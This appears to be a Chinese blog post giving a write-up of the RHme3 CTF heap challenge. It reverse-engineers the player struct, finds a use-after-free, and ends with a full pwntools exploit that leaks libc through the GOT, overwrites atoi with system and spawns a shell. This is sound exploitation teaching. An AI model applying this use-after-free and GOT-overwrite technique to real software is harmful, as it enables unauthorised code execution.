title: UAF实例——RHme3 CTF 的一道题
date: 2017-10-19
author: giantbranch
- pwn
- heap
- uaf
来源:https://github.com/xerof4ks/heapwn/tree/master/rhme3
初步了解
root@kali:~/learn/heapwn/rhme3# ./main.elf
Welcome to your TeamManager (TM)!
0.- Exit
1.- Add player
2.- Remove player
3.- Select player
4.- Edit player
5.- Show player
6.- Show team
Your choice:
堆的题目基本都是选择菜单,这里可以添加,删除,选择,编辑,展示球员,还可以显示队伍,功能看着很多啊
首先玩玩一下这个游戏,便于后期逆向一些数据结构
Your choice: 1
Found free slot: 0
Enter player name: 1
Enter attack points: 1
Enter defense points: 1
Enter speed: 1
Enter precision: 1
上面就是球员这个结构有什么信息,第一个free slot就相当于球员的id,这个不用我们输入
remove就删除咯
Your choice: 2
Enter index: 0
She's gone!
select会输出球员的信息
Your choice: 3
Enter index: 0
Player selected!
Name: 1
A/D/S/P: 1,1,1,1
edit当前的palyer,基于上面的select
Your choice: 4
0.- Go back
1.- Edit name
2.- Set attack points
3.- Set defense points
4.- Set speed
5.- Set precision
Your choice:
show palyer,这个显示的是select的player
Your choice: 5
Name: 2
A/D/S/P: 1,1,1,1
show team会将所有球员信息打印出来
Your choice: 6
Your team:
Player 0
Name: 2
A/D/S/P: 1,1,1,1
Player 1
Name: 3
A/D/S/P: 3,3,3,3
经过对add_player的逆向,可以推出palyer的结构
struct palyer{
int attackPoint;
int defensePoints;
int speed;
int precision;
char* name;
}
编写add_palyer查看内存结构
def add_palyer(name, attack = 1, defense = 2, speed = 3, precision = 4):
p.recvuntil("Your choice: ")
p.sendline("1")
p.recvuntil("name: ")
p.sendline(name)
p.recvuntil("attack points: ")
p.sendline(str(attack))
p.recvuntil("defense points: ")
p.sendline(str(defense))
p.recvuntil("speed: ")
p.sendline(str(speed))
p.recvuntil("precision: ")
p.sendline(str(precision))
查看内存如下,大小为0x20,
gdb-peda$ x /20g 0x1675010-0x10
0x1675000: 0x0000000000000000 0x0000000000000021
0x1675010: 0x0000000200000001 0x0000000400000003
0x1675020: 0x0000000001675030 0x0000000000000071
0x1675030: 0x4141414141414141 0x4141414141414141
0x1675040: 0x4141414141414141 0x4141414141414141
0x1675050: 0x4141414141414141 0x4141414141414141
0x1675060: 0x4141414141414141 0x4141414141414141
0x1675070: 0x4141414141414141 0x4141414141414141
0x1675080: 0x4141414141414141 0x4141414141414141
0x1675090: 0x0000000000000000 0x0000000000020f71
添加两个球员
gdb-peda$ x /60gx 0x0000000001759010
0x1759010: 0x0000000200000001 0x0000000400000003
0x1759020: 0x0000000001759030 0x0000000000000071
0x1759030: 0x4141414141414141 0x4141414141414141
0x1759040: 0x4141414141414141 0x4141414141414141
0x1759050: 0x4141414141414141 0x4141414141414141
0x1759060: 0x4141414141414141 0x4141414141414141
0x1759070: 0x4141414141414141 0x4141414141414141
0x1759080: 0x4141414141414141 0x4141414141414141
0x1759090: 0x0000000000000000 0x0000000000000021
0x17590a0: 0x0000000200000001 0x0000000400000003
0x17590b0: 0x00000000017590c0 0x0000000000000071
0x17590c0: 0x4242424242424242 0x4242424242424242
0x17590d0: 0x4242424242424242 0x4242424242424242
0x17590e0: 0x4242424242424242 0x4242424242424242
0x17590f0: 0x4242424242424242 0x4242424242424242
0x1759100: 0x4242424242424242 0x4242424242424242
0x1759110: 0x4242424242424242 0x4242424242424242
0x1759120: 0x0000000000000000 0x0000000000020ee1
了解得差不多了,开始吧
查找漏洞
看下delete,判断index不能大于10,且全局players数组不为0,而且delete后将相应的players索引置0,所以不存在double free,free的时候首先将name释放,再释放整个palyer
那看看释放后能否重用,看看show palyer,因为delete没将selected置0,导致可以重用,这可以导致信息泄露
再有edit可以导致任意地址写漏洞
那怎么占位呢(下面图说的0x17不一定,我们0x16,0x15等也能占位,差不多大小就行)
就是创建两个palyer,都free掉,再创建一个palyer即可占位,用name占第二个palyer的结构
还有我们下面写got的话有两个目标,一个atoi,一个strlen,不过atoi的话传入的参数只有四字节,只能传个sh过去了,strlen也是可以的,留给大家尝试,就不贴出来了
exp
# -*- coding: utf-8 -*-
from pwn import *
# context.log_level = 'debug'
p = process("./main.elf")
elf = ELF("./main.elf")
libc = ELF("libc.so.6")
# print proc.pidof(p)[0]
# print hex(elf.got["read"]) #0x6030a0
# print hex(elf.got["atoi"]) #0x603110
# print hex(elf.got["strlen"]) #0x603040
raw_input()
def add_palyer(name, attack = 1, defense = 2, speed = 3, precision = 4):
p.recvuntil("Your choice: ")
p.sendline("1")
p.recvuntil("name: ")
p.sendline(name)
p.recvuntil("attack points: ")
p.sendline(str(attack))
p.recvuntil("defense points: ")
p.sendline(str(defense))
p.recvuntil("speed: ")
p.sendline(str(speed))
p.recvuntil("precision: ")
p.sendline(str(precision))
def delete_palyer(index):
p.recvuntil("Your choice: ")
p.sendline("2")
p.recvuntil("Enter index: ")
p.sendline(str(index))
def select_palyer(index):
p.recvuntil("Your choice: ")
p.sendline("3")
p.recvuntil("Enter index: ")
p.sendline(str(index))
def show_palyer():
p.recvuntil("Your choice: ")
p.sendline("5")
def edit_palyername(name):
p.recvuntil("Your choice: ")
p.sendline("4")
p.recvuntil("Your choice: ")
p.sendline("1")
p.recvuntil("Enter new name: ")
p.sendline(name)
def pwning(target):
p.recvuntil("Your choice: ")
p.sendline("2")
p.recvuntil("Enter attack points: ")
p.sendline(target)
# ---------info leak---------
add_palyer("A"*0x40)
add_palyer("A"*0x40)
select_palyer(1)
# free
delete_palyer(1)
delete_palyer(0)
# keep space
# two malloc
# b *0x00000000004018A7
# b *0x0000000000401955
# yin wei malloc(len+1) in the binary
# add_palyer("B"*0x17)0x603070
leakread = "\x02\x02\x01\x01"*4 + "\xa0\x30\x60"
print len(leakread)
add_palyer(leakread)
# use
# b *0x00000000004020D2
show_palyer()
p.recvuntil("Name: ")
leak = p.recv(6).ljust(8, '\x00')
read_addr =u64(leak)
print "read_addr = " + hex(read_addr)
print "\ncalculating system() addr and \"/bin/sh\" addr ... ###"
system_addr = read_addr - (libc.symbols['read'] - libc.symbols['system'])
print "system_addr = " + hex(system_addr)
# binsh_addr = read_addr - (libc.symbols['read'] - next(libc.search("/bin/sh")))
# print "binsh_addr = " + hex(binsh_addr)
# ---------write got---------
delete_palyer(0)
add_palyer("B"*0x40)
add_palyer("B"*0x40)
select_palyer(0)
delete_palyer(0)
delete_palyer(1)
writeAtoiAddr = "\x02\x02\x01\x01"*4 + "\x10\x31\x60"
# writeStrlenAddr = "\x02\x02\x01\x01"*4 + "\x40\x30\x60"
add_palyer(writeAtoiAddr)
edit_palyername(p64(system_addr))
# raw_input()
p.sendline("sh")
# raw_input()
p.interactive()
楼主残忍的关闭了评论